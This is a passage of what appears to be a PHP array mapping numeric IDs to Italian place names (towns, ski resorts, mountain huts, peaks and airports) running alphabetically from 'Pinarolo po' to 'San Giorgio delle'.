\"Pinarolo po\",5257 => \"Pinasca\",5258 => \"Pincara\",5259 => \"Pinerolo\",5260 => \"Pineto\",5261 => \"Pino d'asti\",5262 => \"Pino sulla sponda del lago magg.\",5263 => \"Pino torinese\",5264 => \"Pinzano al tagliamento\",5265 => \"Pinzolo\",5266 => \"Piobbico\",5267 => \"Piobesi d'alba\",5268 => \"Piobesi torinese\",5269 => \"Piode\",5270 => \"Pioltello\",5271 => \"Piombino\",5272 => \"Piombino dese\",5273 => \"Pioraco\",5274 => \"Piossasco\",5275 => \"Piova' massaia\",5276 => \"Piove di sacco\",5277 => \"Piovene rocchette\",5278 => \"Piovera\",5279 => \"Piozzano\",5280 => \"Piozzo\",5281 => \"Piraino\",5282 => \"Pisa\",8518 => \"Pisa San Giusto\",5283 => \"Pisano\",5284 => \"Piscina\",5285 => \"Piscinas\",5286 => \"Pisciotta\",5287 => \"Pisogne\",5288 => \"Pisoniano\",5289 => \"Pisticci\",5290 => \"Pistoia\",5291 => \"Piteglio\",5292 => \"Pitigliano\",5293 => \"Piubega\",5294 => \"Piuro\",5295 => \"Piverone\",5296 => \"Pizzale\",5297 => \"Pizzighettone\",5298 => \"Pizzo\",8737 => \"Pizzo Arera\",8727 => \"Pizzo Bernina\",8736 => \"Pizzo dei Tre Signori\",8739 => \"Pizzo della Presolana\",5299 => \"Pizzoferrato\",5300 => \"Pizzoli\",5301 => \"Pizzone\",5302 => \"Pizzoni\",5303 => \"Placanica\",8342 => \"Plaghera\",8685 => \"Plain Maison\",8324 => \"Plain Mason\",8337 => \"Plan\",8469 => \"Plan Boè\",8633 => \"Plan Checrouit\",8204 => \"Plan de Corones\",8576 => \"Plan in Passiria\",5304 => \"Plataci\",5305 => \"Platania\",8241 => \"Plateau Rosa\",5306 => \"Plati'\",5307 => \"Plaus\",5308 => \"Plesio\",5309 => \"Ploaghe\",5310 => \"Plodio\",8569 => \"Plose\",5311 => \"Pocapaglia\",5312 => \"Pocenia\",5313 => \"Podenzana\",5314 => \"Podenzano\",5315 => \"Pofi\",5316 => \"Poggiardo\",5317 => \"Poggibonsi\",5318 => \"Poggio a caiano\",5319 => \"Poggio berni\",5320 => \"Poggio bustone\",5321 => \"Poggio catino\",5322 => \"Poggio imperiale\",5323 => \"Poggio mirteto\",5324 => \"Poggio moiano\",5325 => \"Poggio nativo\",5326 => \"Poggio picenze\",5327 => \"Poggio renatico\",5328 => \"Poggio rusco\",5329 => \"Poggio san lorenzo\",5330 => \"Poggio san marcello\",5331 => \"Poggio san vicino\",5332 => \"Poggio sannita\",5333 => \"Poggiodomo\",5334 => \"Poggiofiorito\",5335 => \"Poggiomarino\",5336 => \"Poggioreale\",5337 => \"Poggiorsini\",5338 => \"Poggiridenti\",5339 => \"Pogliano milanese\",8339 => \"Pogliola\",5340 => \"Pognana lario\",5341 => \"Pognano\",5342 => \"Pogno\",5343 => \"Poiana maggiore\",5344 => \"Poirino\",5345 => \"Polaveno\",5346 => \"Polcenigo\",5347 => \"Polesella\",5348 => \"Polesine parmense\",5349 => \"Poli\",5350 => \"Polia\",5351 => \"Policoro\",5352 => \"Polignano a mare\",5353 => \"Polinago\",5354 => \"Polino\",5355 => \"Polistena\",5356 => \"Polizzi generosa\",5357 => \"Polla\",5358 => \"Pollein\",5359 => \"Pollena trocchia\",5360 => \"Pollenza\",5361 => \"Pollica\",5362 => \"Pollina\",5363 => \"Pollone\",5364 => \"Pollutri\",5365 => \"Polonghera\",5366 => \"Polpenazze del garda\",8650 => \"Polsa San Valentino\",5367 => \"Polverara\",5368 => \"Polverigi\",5369 => \"Pomarance\",5370 => \"Pomaretto\",8384 => \"Pomarico\",5372 => \"Pomaro monferrato\",5373 => \"Pomarolo\",5374 => \"Pombia\",5375 => \"Pomezia\",5376 => \"Pomigliano d'arco\",5377 => \"Pompei\",5378 => \"Pompeiana\",5379 => \"Pompiano\",5380 => \"Pomponesco\",5381 => \"Pompu\",5382 => \"Poncarale\",5383 => \"Ponderano\",5384 => \"Ponna\",5385 => \"Ponsacco\",5386 => \"Ponso\",8220 => \"Pont\",5389 => \"Pont canavese\",5427 => \"Pont Saint Martin\",5387 => \"Pontassieve\",5388 => \"Pontboset\",5390 => \"Ponte\",5391 => \"Ponte buggianese\",5392 => \"Ponte dell'olio\",5393 => \"Ponte di legno\",5394 => \"Ponte di piave\",5395 => \"Ponte Gardena\",5396 => \"Ponte in valtellina\",5397 => \"Ponte lambro\",5398 => \"Ponte nelle alpi\",5399 => \"Ponte nizza\",5400 => \"Ponte nossa\",5401 => \"Ponte San Nicolo'\",5402 => \"Ponte San Pietro\",5403 => \"Pontebba\",5404 => \"Pontecagnano faiano\",5405 => \"Pontecchio polesine\",5406 => \"Pontechianale\",5407 => \"Pontecorvo\",5408 => \"Pontecurone\",5409 => \"Pontedassio\",5410 => \"Pontedera\",5411 => \"Pontelandolfo\",5412 => \"Pontelatone\",5413 => \"Pontelongo\",5414 => \"Pontenure\",5415 => \"Ponteranica\",5416 => \"Pontestura\",5417 => \"Pontevico\",5418 => \"Pontey\",5419 => \"Ponti\",5420 => \"Ponti sul mincio\",5421 => \"Pontida\",5422 => \"Pontinia\",5423 => \"Pontinvrea\",5424 => \"Pontirolo nuovo\",5425 => \"Pontoglio\",5426 => \"Pontremoli\",5428 => \"Ponza\",5429 => \"Ponzano di fermo\",8462 => \"Ponzano galleria\",5430 => \"Ponzano monferrato\",5431 => \"Ponzano romano\",5432 => \"Ponzano veneto\",5433 => \"Ponzone\",5434 => \"Popoli\",5435 => \"Poppi\",8192 => \"Populonia\",5436 => \"Porano\",5437 => \"Porcari\",5438 => \"Porcia\",5439 => \"Pordenone\",5440 => \"Porlezza\",5441 => \"Pornassio\",5442 => \"Porpetto\",5443 => \"Porretta terme\",5444 => \"Portacomaro\",5445 => \"Portalbera\",5446 => \"Porte\",5447 => \"Portici\",5448 => \"Portico di caserta\",5449 => \"Portico e san benedetto\",5450 => \"Portigliola\",8294 => \"Porto Alabe\",5451 => \"Porto azzurro\",5452 => \"Porto ceresio\",8528 => \"Porto Cervo\",5453 => \"Porto cesareo\",8295 => \"Porto Conte\",8612 => \"Porto Corsini\",5454 => \"Porto empedocle\",8669 => \"Porto Ercole\",8743 => \"Porto Levante\",5455 => \"Porto mantovano\",8178 => \"Porto Pino\",5456 => \"Porto recanati\",8529 => \"Porto Rotondo\",5457 => \"Porto san giorgio\",5458 => \"Porto sant'elpidio\",8670 => \"Porto Santo Stefano\",5459 => \"Porto tolle\",5460 => \"Porto torres\",5461 => \"Porto valtravaglia\",5462 => \"Porto viro\",8172 => \"Portobello di Gallura\",5463 => \"Portobuffole'\",5464 => \"Portocannone\",5465 => \"Portoferraio\",5466 => \"Portofino\",5467 => \"Portogruaro\",5468 => \"Portomaggiore\",5469 => \"Portopalo di capo passero\",8171 => \"Portorotondo\",5470 => \"Portoscuso\",5471 => \"Portovenere\",5472 => \"Portula\",5473 => \"Posada\",5474 => \"Posina\",5475 => \"Positano\",5476 => \"Possagno\",5477 => \"Posta\",5478 => \"Posta fibreno\",5479 => \"Postal\",5480 => \"Postalesio\",5481 => \"Postiglione\",5482 => \"Postua\",5483 => \"Potenza\",5484 => \"Potenza picena\",5485 => \"Pove del grappa\",5486 => \"Povegliano\",5487 => \"Povegliano veronese\",5488 => \"Poviglio\",5489 => \"Povoletto\",5490 => \"Pozza di fassa\",5491 => \"Pozzaglia sabino\",5492 => \"Pozzaglio ed uniti\",5493 => \"Pozzallo\",5494 => \"Pozzilli\",5495 => \"Pozzo d'adda\",5496 => \"Pozzol groppo\",5497 => \"Pozzolengo\",5498 => \"Pozzoleone\",5499 => \"Pozzolo formigaro\",5500 => \"Pozzomaggiore\",5501 => \"Pozzonovo\",5502 => \"Pozzuoli\",5503 => \"Pozzuolo del friuli\",5504 => \"Pozzuolo martesana\",8693 => \"Pra Catinat\",5505 => \"Pradalunga\",5506 => \"Pradamano\",5507 => \"Pradleves\",5508 => \"Pragelato\",5509 => \"Praia a mare\",5510 => \"Praiano\",5511 => \"Pralboino\",5512 => \"Prali\",5513 => \"Pralormo\",5514 => \"Pralungo\",5515 => \"Pramaggiore\",5516 => \"Pramollo\",5517 => \"Prarolo\",5518 => \"Prarostino\",5519 => \"Prasco\",5520 => \"Prascorsano\",5521 => \"Praso\",5522 => \"Prata camportaccio\",5523 => \"Prata d'ansidonia\",5524 => \"Prata di pordenone\",5525 => \"Prata di principato ultra\",5526 => \"Prata sannita\",5527 => \"Pratella\",8102 => \"Prati di Tivo\",8694 => \"Pratica di Mare\",5528 => \"Pratiglione\",5529 => \"Prato\",5530 => \"Prato allo Stelvio\",5531 => \"Prato carnico\",8157 => \"Prato Nevoso\",5532 => \"Prato sesia\",8560 => \"Prato Spilla\",5533 => \"Pratola peligna\",5534 => \"Pratola serra\",5535 => \"Pratovecchio\",5536 => \"Pravisdomini\",5537 => \"Pray\",5538 => \"Prazzo\",5539 => \"Pre' Saint Didier\",5540 => \"Precenicco\",5541 => \"Preci\",5542 => \"Predappio\",5543 => \"Predazzo\",5544 => \"Predoi\",5545 => \"Predore\",5546 => \"Predosa\",5547 => \"Preganziol\",5548 => \"Pregnana milanese\",5549 => \"Prela'\",5550 => \"Premana\",5551 => \"Premariacco\",5552 => \"Premeno\",5553 => \"Premia\",5554 => \"Premilcuore\",5555 => \"Premolo\",5556 => \"Premosello chiovenda\",5557 => \"Preone\",5558 => \"Preore\",5559 => \"Prepotto\",8578 => \"Presanella\",5560 => \"Preseglie\",5561 => \"Presenzano\",5562 => \"Presezzo\",5563 => \"Presicce\",5564 => \"Pressana\",5565 => \"Prestine\",5566 => \"Pretoro\",5567 => \"Prevalle\",5568 => \"Prezza\",5569 => \"Prezzo\",5570 => \"Priero\",5571 => \"Prignano cilento\",5572 => \"Prignano sulla secchia\",5573 => \"Primaluna\",5574 => \"Priocca\",5575 => \"Priola\",5576 => \"Priolo gargallo\",5577 => \"Priverno\",5578 => \"Prizzi\",5579 => \"Proceno\",5580 => \"Procida\",5581 => \"Propata\",5582 => \"Proserpio\",5583 => \"Prossedi\",5584 => \"Provaglio d'iseo\",5585 => \"Provaglio val sabbia\",5586 => \"Proves\",5587 => \"Provvidenti\",8189 => \"Prunetta\",5588 => \"Prunetto\",5589 => \"Puegnago sul garda\",5590 => \"Puglianello\",5591 => \"Pula\",5592 => \"Pulfero\",5593 => \"Pulsano\",5594 => \"Pumenengo\",8584 => \"Punta Ala\",8708 => \"Punta Ban\",8564 => \"Punta Helbronner\",8306 => \"Punta Indren\",8107 => \"Punta Stilo\",5595 => \"Puos d'alpago\",5596 => \"Pusiano\",5597 => \"Putifigari\",5598 => \"Putignano\",5599 => \"Quadrelle\",5600 => \"Quadri\",5601 => \"Quagliuzzo\",5602 => \"Qualiano\",5603 => \"Quaranti\",5604 => \"Quaregna\",5605 => \"Quargnento\",5606 => \"Quarna sopra\",5607 => \"Quarna sotto\",5608 => \"Quarona\",5609 => \"Quarrata\",5610 => \"Quart\",5611 => \"Quarto\",5612 => \"Quarto d'altino\",5613 => \"Quartu sant'elena\",5614 => \"Quartucciu\",5615 => \"Quassolo\",5616 => \"Quattordio\",5617 => \"Quattro castella\",5618 => \"Quero\",5619 => \"Quiliano\",5620 => \"Quincinetto\",5621 => \"Quindici\",5622 => \"Quingentole\",5623 => \"Quintano\",5624 => \"Quinto di treviso\",5625 => \"Quinto vercellese\",5626 => \"Quinto vicentino\",5627 => \"Quinzano d'oglio\",5628 => \"Quistello\",5629 => \"Quittengo\",5630 => \"Rabbi\",5631 => \"Racale\",5632 => \"Racalmuto\",5633 => \"Racconigi\",5634 => \"Raccuja\",5635 => \"Racines\",8352 => \"Racines Giovo\",5636 => \"Radda in chianti\",5637 => \"Raddusa\",5638 => \"Radicofani\",5639 => \"Radicondoli\",5640 => \"Raffadali\",5641 => \"Ragalna\",5642 => \"Ragogna\",5643 => \"Ragoli\",5644 => \"Ragusa\",5645 => \"Raiano\",5646 => \"Ramacca\",5647 => \"Ramiseto\",5648 => \"Ramponio verna\",5649 => \"Rancio valcuvia\",5650 => \"Ranco\",5651 => \"Randazzo\",5652 => \"Ranica\",5653 => \"Ranzanico\",5654 => \"Ranzo\",5655 => \"Rapagnano\",5656 => \"Rapallo\",5657 => \"Rapino\",5658 => \"Rapolano terme\",8394 => \"Rapolla\",5660 => \"Rapone\",5661 => \"Rassa\",5662 => \"Rasun Anterselva\",5663 => \"Rasura\",5664 => \"Ravanusa\",5665 => \"Ravarino\",5666 => \"Ravascletto\",5667 => \"Ravello\",5668 => \"Ravenna\",5669 => \"Raveo\",5670 => \"Raviscanina\",5671 => \"Re\",5672 => \"Rea\",5673 => \"Realmonte\",5674 => \"Reana del roiale\",5675 => \"Reano\",5676 => \"Recale\",5677 => \"Recanati\",5678 => \"Recco\",5679 => \"Recetto\",8639 => \"Recoaro Mille\",5680 => \"Recoaro Terme\",5681 => \"Redavalle\",5682 => \"Redondesco\",5683 => \"Refrancore\",5684 => \"Refrontolo\",5685 => \"Regalbuto\",5686 => \"Reggello\",8542 => \"Reggio Aeroporto dello Stretto\",5687 => \"Reggio Calabria\",5688 => \"Reggio Emilia\",5689 => \"Reggiolo\",5690 => \"Reino\",5691 => \"Reitano\",5692 => \"Remanzacco\",5693 => \"Remedello\",5694 => \"Renate\",5695 => \"Rende\",5696 => \"Renon\",5697 => \"Resana\",5698 => \"Rescaldina\",8734 => \"Resegone\",5699 => \"Resia\",5700 => \"Resiutta\",5701 => \"Resuttano\",5702 => \"Retorbido\",5703 => \"Revello\",5704 => \"Revere\",5705 => \"Revigliasco d'asti\",5706 => \"Revine lago\",5707 => \"Revo'\",5708 => \"Rezzago\",5709 => \"Rezzato\",5710 => \"Rezzo\",5711 => \"Rezzoaglio\",5712 => \"Rhemes Notre Dame\",5713 => \"Rhemes Saint Georges\",5714 => \"Rho\",5715 => \"Riace\",8106 => \"Riace Marina\",5716 => \"Rialto\",5717 => \"Riano\",5718 => \"Riardo\",5719 => \"Ribera\",5720 => \"Ribordone\",5721 => \"Ricadi\",5722 => \"Ricaldone\",5723 => \"Riccia\",5724 => \"Riccione\",5725 => \"Ricco' del golfo di spezia\",5726 => \"Ricengo\",5727 => \"Ricigliano\",5728 => \"Riese pio x\",5729 => \"Riesi\",5730 => \"Rieti\",5731 => \"Rifiano\",5732 => \"Rifreddo\",8691 => \"Rifugio Boffalora Ticino\",8244 => \"Rifugio Calvi Laghi Gemelli\",8684 => \"Rifugio Chivasso - Colle del Nivolet\",8678 => \"Rifugio Curò\",8679 => \"Rifugio laghi Gemelli\",8731 => \"Rifugio Livio Bianco\",8681 => \"Rifugio Mezzalama\",8682 => \"Rifugio Quintino Sella\",8629 => \"Rifugio Sapienza\",8683 => \"Rifugio Torino\",8680 => \"Rifugio Viviani\",5733 => \"Rignano flaminio\",5734 => \"Rignano garganico\",5735 => \"Rignano sull'arno\",5736 => \"Rigolato\",5737 => \"Rima san giuseppe\",5738 => \"Rimasco\",5739 => \"Rimella\",5740 => \"Rimini\",8546 => \"Rimini Miramare\",5741 => \"Rio di Pusteria\",5742 => \"Rio marina\",5743 => \"Rio nell'elba\",5744 => \"Rio saliceto\",5745 => \"Riofreddo\",5746 => \"Riola sardo\",5747 => \"Riolo terme\",5748 => \"Riolunato\",5749 => \"Riomaggiore\",5750 => \"Rionero in vulture\",5751 => \"Rionero sannitico\",8503 => \"Rioveggio\",5752 => \"Ripa teatina\",5753 => \"Ripabottoni\",8404 => \"Ripacandida\",5755 => \"Ripalimosani\",5756 => \"Ripalta arpina\",5757 => \"Ripalta cremasca\",5758 => \"Ripalta guerina\",5759 => \"Riparbella\",5760 => \"Ripatransone\",5761 => \"Ripe\",5762 => \"Ripe san ginesio\",5763 => \"Ripi\",5764 => \"Riposto\",5765 => \"Rittana\",5766 => \"Riva del garda\",5767 => \"Riva di solto\",8579 => \"Riva di Tures\",5768 => \"Riva ligure\",5769 => \"Riva presso chieri\",5770 => \"Riva valdobbia\",5771 => \"Rivalba\",5772 => \"Rivalta bormida\",5773 => \"Rivalta di torino\",5774 => \"Rivamonte agordino\",5775 => \"Rivanazzano\",5776 => \"Rivara\",5777 => \"Rivarolo canavese\",5778 => \"Rivarolo del re ed uniti\",5779 => \"Rivarolo mantovano\",5780 => \"Rivarone\",5781 => \"Rivarossa\",5782 => \"Rive\",5783 => \"Rive d'arcano\",8398 => \"Rivello\",5785 => \"Rivergaro\",5786 => \"Rivignano\",5787 => \"Rivisondoli\",5788 => \"Rivodutri\",5789 => \"Rivoli\",8436 => \"Rivoli veronese\",5791 => \"Rivolta d'adda\",5792 => \"Rizziconi\",5793 => \"Ro\",5794 => \"Roana\",5795 => \"Roaschia\",5796 => \"Roascio\",5797 => \"Roasio\",5798 => \"Roatto\",5799 => \"Robassomero\",5800 => \"Robbiate\",5801 => \"Robbio\",5802 => \"Robecchetto con Induno\",5803 => \"Robecco d'oglio\",5804 => \"Robecco pavese\",5805 => \"Robecco sul naviglio\",5806 => \"Robella\",5807 => \"Robilante\",5808 => \"Roburent\",5809 => \"Rocca canavese\",5810 => \"Rocca Canterano\",5811 => \"Rocca Ciglie'\",5812 => \"Rocca d'Arazzo\",5813 => \"Rocca d'Arce\",5814 => \"Rocca d'Evandro\",5815 => \"Rocca de' Baldi\",5816 => \"Rocca de' Giorgi\",5817 => \"Rocca di Botte\",5818 => \"Rocca di Cambio\",5819 => \"Rocca di Cave\",5820 => \"Rocca di Mezzo\",5821 => \"Rocca di Neto\",5822 => \"Rocca di Papa\",5823 => \"Rocca Grimalda\",5824 => \"Rocca Imperiale\",8115 => \"Rocca Imperiale Marina\",5825 => \"Rocca Massima\",5826 => \"Rocca Pia\",5827 => \"Rocca Pietore\",5828 => \"Rocca Priora\",5829 => \"Rocca San Casciano\",5830 => \"Rocca San Felice\",5831 => \"Rocca San Giovanni\",5832 => \"Rocca Santa Maria\",5833 => \"Rocca Santo Stefano\",5834 => \"Rocca Sinibalda\",5835 => \"Rocca Susella\",5836 => \"Roccabascerana\",5837 => \"Roccabernarda\",5838 => \"Roccabianca\",5839 => \"Roccabruna\",8535 => \"Roccacaramanico\",5840 => \"Roccacasale\",5841 => \"Roccadaspide\",5842 => \"Roccafiorita\",5843 => \"Roccafluvione\",5844 => \"Roccaforte del greco\",5845 => \"Roccaforte ligure\",5846 => \"Roccaforte mondovi'\",5847 => \"Roccaforzata\",5848 => \"Roccafranca\",5849 => \"Roccagiovine\",5850 => \"Roccagloriosa\",5851 => \"Roccagorga\",5852 => \"Roccalbegna\",5853 => \"Roccalumera\",5854 => \"Roccamandolfi\",5855 => \"Roccamena\",5856 => \"Roccamonfina\",5857 => \"Roccamontepiano\",5858 => \"Roccamorice\",8418 => \"Roccanova\",5860 => \"Roccantica\",5861 => \"Roccapalumba\",5862 => \"Roccapiemonte\",5863 => \"Roccarainola\",5864 => \"Roccaraso\",5865 => \"Roccaromana\",5866 => \"Roccascalegna\",5867 => \"Roccasecca\",5868 => \"Roccasecca dei volsci\",5869 => \"Roccasicura\",5870 => \"Roccasparvera\",5871 => \"Roccaspinalveti\",5872 => \"Roccastrada\",5873 => \"Roccavaldina\",5874 => \"Roccaverano\",5875 => \"Roccavignale\",5876 => \"Roccavione\",5877 => \"Roccavivara\",5878 => \"Roccella ionica\",5879 => \"Roccella valdemone\",5880 => \"Rocchetta a volturno\",5881 => \"Rocchetta belbo\",5882 => \"Rocchetta di vara\",5883 => \"Rocchetta e croce\",5884 => \"Rocchetta ligure\",5885 => \"Rocchetta nervina\",5886 => \"Rocchetta palafea\",5887 => \"Rocchetta sant'antonio\",5888 => \"Rocchetta tanaro\",5889 => \"Rodano\",5890 => \"Roddi\",5891 => \"Roddino\",5892 => \"Rodello\",5893 => \"Rodengo\",5894 => \"Rodengo-saiano\",5895 => \"Rodero\",5896 => \"Rodi garganico\",5897 => \"Rodi' milici\",5898 => \"Rodigo\",5899 => \"Roe' volciano\",5900 => \"Rofrano\",5901 => \"Rogeno\",5902 => \"Roggiano gravina\",5903 => \"Roghudi\",5904 => \"Rogliano\",5905 => \"Rognano\",5906 => \"Rogno\",5907 => \"Rogolo\",5908 => \"Roiate\",5909 => \"Roio del sangro\",5910 => \"Roisan\",5911 => \"Roletto\",5912 => \"Rolo\",5913 => \"Roma\",8545 => \"Roma Ciampino\",8499 => \"Roma Fiumicino\",5914 => \"Romagnano al monte\",5915 => \"Romagnano sesia\",5916 => \"Romagnese\",5917 => \"Romallo\",5918 => \"Romana\",5919 => \"Romanengo\",5920 => \"Romano canavese\",5921 => \"Romano d'ezzelino\",5922 => \"Romano di lombardia\",5923 => \"Romans d'isonzo\",5924 => \"Rombiolo\",5925 => \"Romeno\",5926 => \"Romentino\",5927 => \"Rometta\",5928 => \"Ronago\",5929 => \"Ronca'\",5930 => \"Roncade\",5931 => \"Roncadelle\",5932 => \"Roncaro\",5933 => \"Roncegno\",5934 => \"Roncello\",5935 => \"Ronchi dei legionari\",5936 => \"Ronchi valsugana\",5937 => \"Ronchis\",5938 => \"Ronciglione\",5939 => \"Ronco all'adige\",8231 => \"Ronco all`Adige\",5940 => \"Ronco biellese\",5941 => \"Ronco briantino\",5942 => \"Ronco canavese\",5943 => \"Ronco scrivia\",5944 => \"Roncobello\",5945 => \"Roncoferraro\",5946 => \"Roncofreddo\",5947 => \"Roncola\",5948 => \"Roncone\",5949 => \"Rondanina\",5950 => \"Rondissone\",5951 => \"Ronsecco\",5952 => \"Ronzo chienis\",5953 => \"Ronzone\",5954 => \"Roppolo\",5955 => \"Rora'\",5956 => \"Rosa'\",5957 => \"Rosarno\",5958 => \"Rosasco\",5959 => \"Rosate\",5960 => \"Rosazza\",5961 => \"Rosciano\",5962 => \"Roscigno\",5963 => \"Rose\",5964 => \"Rosello\",5965 => \"Roseto capo spulico\",8439 => \"Roseto casello\",5966 => \"Roseto degli abruzzi\",5967 => \"Roseto valfortore\",5968 => \"Rosignano marittimo\",5969 => \"Rosignano monferrato\",8195 => \"Rosignano Solvay\",5970 => \"Rosolina\",8744 => \"Rosolina mare\",5971 => \"Rosolini\",8704 => \"Rosone\",5972 => \"Rosora\",5973 => \"Rossa\",5974 => \"Rossana\",5975 => \"Rossano\",8109 => \"Rossano Calabro Marina\",5976 => \"Rossano veneto\",8431 => \"Rossera\",5977 => \"Rossiglione\",5978 => \"Rosta\",5979 => \"Rota d'imagna\",5980 => \"Rota greca\",5981 => \"Rotella\",5982 => \"Rotello\",8429 => \"Rotonda\",5984 => \"Rotondella\",5985 => \"Rotondi\",5986 => \"Rottofreno\",5987 => \"Rotzo\",5988 => \"Roure\",5989 => \"Rovagnate\",5990 => \"Rovasenda\",5991 => \"Rovato\",5992 => \"Rovegno\",5993 => \"Rovellasca\",5994 => \"Rovello porro\",5995 => \"Roverbella\",5996 => \"Roverchiara\",5997 => \"Rovere' della luna\",5998 => \"Rovere' veronese\",5999 => \"Roveredo di gua'\",6000 => \"Roveredo in piano\",6001 => \"Rovereto\",6002 => \"Rovescala\",6003 => \"Rovetta\",6004 => \"Roviano\",6005 => \"Rovigo\",6006 => \"Rovito\",6007 => \"Rovolon\",6008 => \"Rozzano\",6009 => \"Rubano\",6010 => \"Rubiana\",6011 => \"Rubiera\",8632 => \"Rucas\",6012 => \"Ruda\",6013 => \"Rudiano\",6014 => \"Rueglio\",6015 => \"Ruffano\",6016 => \"Ruffia\",6017 => \"Ruffre'\",6018 => \"Rufina\",6019 => \"Ruinas\",6020 => \"Ruino\",6021 => \"Rumo\",8366 => \"Ruoti\",6023 => \"Russi\",6024 => \"Rutigliano\",6025 => \"Rutino\",6026 => \"Ruviano\",8393 => \"Ruvo del monte\",6028 => \"Ruvo di Puglia\",6029 => \"Sabaudia\",6030 => \"Sabbia\",6031 => \"Sabbio chiese\",6032 => \"Sabbioneta\",6033 => \"Sacco\",6034 => \"Saccolongo\",6035 => \"Sacile\",8700 => \"Sacra di San Michele\",6036 => \"Sacrofano\",6037 => \"Sadali\",6038 => \"Sagama\",6039 => \"Sagliano micca\",6040 => \"Sagrado\",6041 => \"Sagron mis\",8602 => \"Saint Barthelemy\",6042 => \"Saint Christophe\",6043 => \"Saint Denis\",8304 => \"Saint Jacques\",6044 => \"Saint Marcel\",6045 => \"Saint Nicolas\",6046 => \"Saint Oyen Flassin\",6047 => \"Saint Pierre\",6048 => \"Saint Rhemy en Bosses\",6049 => \"Saint Vincent\",6050 => \"Sala Baganza\",6051 => \"Sala Biellese\",6052 => \"Sala Bolognese\",6053 => \"Sala Comacina\",6054 => \"Sala Consilina\",6055 => \"Sala Monferrato\",8372 => \"Salandra\",6057 => \"Salaparuta\",6058 => \"Salara\",6059 => \"Salasco\",6060 => \"Salassa\",6061 => \"Salbertrand\",6062 => \"Salcedo\",6063 => \"Salcito\",6064 => \"Sale\",6065 => \"Sale delle Langhe\",6066 => \"Sale Marasino\",6067 => \"Sale San Giovanni\",6068 => \"Salemi\",6069 => \"Salento\",6070 => \"Salerano Canavese\",6071 => \"Salerano sul Lambro\",6072 => \"Salerno\",6073 => \"Saletto\",6074 => \"Salgareda\",6075 => \"Sali Vercellese\",6076 => \"Salice Salentino\",6077 => \"Saliceto\",6078 => \"Salisano\",6079 => \"Salizzole\",6080 => \"Salle\",6081 => \"Salmour\",6082 => \"Salo'\",6083 => \"Salorno\",6084 => \"Salsomaggiore Terme\",6085 => \"Saltara\",6086 => \"Saltrio\",6087 => \"Saludecio\",6088 => \"Saluggia\",6089 => \"Salussola\",6090 => \"Saluzzo\",6091 => \"Salve\",6092 => \"Salvirola\",6093 => \"Salvitelle\",6094 => \"Salza di Pinerolo\",6095 => \"Salza Irpina\",6096 => \"Salzano\",6097 => \"Samarate\",6098 => \"Samassi\",6099 => \"Samatzai\",6100 => \"Sambuca di Sicilia\",6101 => \"Sambuca Pistoiese\",6102 => \"Sambuci\",6103 => \"Sambuco\",6104 => \"Sammichele di Bari\",6105 => \"Samo\",6106 => \"Samolaco\",6107 => \"Samone\",6108 => \"Samone\",6109 => \"Sampeyre\",6110 => \"Samugheo\",6111 => \"San Bartolomeo al Mare\",6112 => \"San Bartolomeo in Galdo\",6113 => \"San Bartolomeo Val Cavargna\",6114 => \"San Basile\",6115 => \"San Basilio\",6116 => \"San Bassano\",6117 => \"San Bellino\",6118 => \"San Benedetto Belbo\",6119 => \"San Benedetto dei Marsi\",6120 => \"San Benedetto del Tronto\",8126 => \"San Benedetto in Alpe\",6121 => \"San Benedetto in Perillis\",6122 => \"San Benedetto Po\",6123 => \"San Benedetto Ullano\",6124 => \"San Benedetto val di Sambro\",6125 => \"San Benigno Canavese\",8641 => \"San Bernardino\",6126 => \"San Bernardino Verbano\",6127 => \"San Biagio della Cima\",6128 => \"San Biagio di Callalta\",6129 => \"San Biagio Platani\",6130 => \"San Biagio Saracinisco\",6131 => \"San Biase\",6132 => \"San Bonifacio\",6133 => \"San Buono\",6134 => \"San Calogero\",6135 => \"San Candido\",6136 => \"San Canzian d'Isonzo\",6137 => \"San Carlo Canavese\",6138 => \"San Casciano dei Bagni\",6139 => \"San Casciano in Val di Pesa\",6140 => \"San Cassiano\",8624 => \"San Cassiano in Badia\",6141 => \"San Cataldo\",6142 => \"San Cesareo\",6143 => \"San Cesario di Lecce\",6144 => \"San Cesario sul Panaro\",8367 => \"San Chirico Nuovo\",6146 => \"San Chirico Raparo\",6147 => \"San Cipirello\",6148 => \"San Cipriano d'Aversa\",6149 => \"San Cipriano Picentino\",6150 => \"San Cipriano Po\",6151 => \"San Clemente\",6152 => \"San Colombano al Lambro\",6153 => \"San Colombano Belmonte\",6154 => \"San Colombano Certenoli\",8622 => \"San Colombano Valdidentro\",6155 => \"San Cono\",6156 => \"San Cosmo Albanese\",8376 => \"San Costantino Albanese\",6158 => \"San Costantino Calabro\",6159 => \"San Costanzo\",6160 => \"San Cristoforo\",6161 => \"San Damiano al Colle\",6162 => \"San Damiano d'Asti\",6163 => \"San Damiano Macra\",6164 => \"San Daniele del Friuli\",6165 => \"San Daniele Po\",6166 => \"San Demetrio Corone\",6167 => \"San Demetrio ne' Vestini\",6168 => \"San Didero\",8556 => \"San Domenico di Varzo\",6169 => \"San Dona' di Piave\",6170 => \"San Donaci\",6171 => \"San Donato di Lecce\",6172 => \"San Donato di Ninea\",6173 => \"San Donato Milanese\",6174 => \"San Donato Val di Comino\",6175 => \"San Dorligo della Valle\",6176 => \"San Fedele Intelvi\",6177 => \"San Fele\",6178 => \"San Felice a Cancello\",6179 => \"San Felice Circeo\",6180 => \"San Felice del Benaco\",6181 => \"San Felice del Molise\",6182 => \"San Felice sul Panaro\",6183 => \"San Ferdinando\",6184 => \"San Ferdinando di Puglia\",6185 => \"San Fermo della Battaglia\",6186 => \"San Fili\",6187 => \"San Filippo del mela\",6188 => \"San Fior\",6189 => \"San Fiorano\",6190 => \"San Floriano del collio\",6191 => \"San Floro\",6192 => \"San Francesco al campo\",6193 => \"San Fratello\",8690 => \"San Galgano\",6194 => \"San Gavino monreale\",6195 => \"San Gemini\",6196 => \"San Genesio Atesino\",6197 => \"San Genesio ed uniti\",6198 => \"San Gennaro vesuviano\",6199 => \"San Germano chisone\",6200 => \"San Germano dei berici\",6201 => \"San Germano vercellese\",6202 => \"San Gervasio bresciano\",6203 => \"San Giacomo degli schiavoni\",6204 => \"San Giacomo delle segnate\",8620 => \"San Giacomo di Roburent\",6205 => \"San Giacomo filippo\",6206 => \"San Giacomo vercellese\",6207 => \"San Gillio\",6208 => \"San Gimignano\",6209 => \"San Ginesio\",6210 => \"San Giorgio a cremano\",6211 => \"San Giorgio a liri\",6212 => \"San Giorgio albanese\",6213 => \"San Giorgio canavese\",6214 => \"San Giorgio del sannio\",6215 => \"San Giorgio della richinvelda\",6216 => \"San Giorgio delle 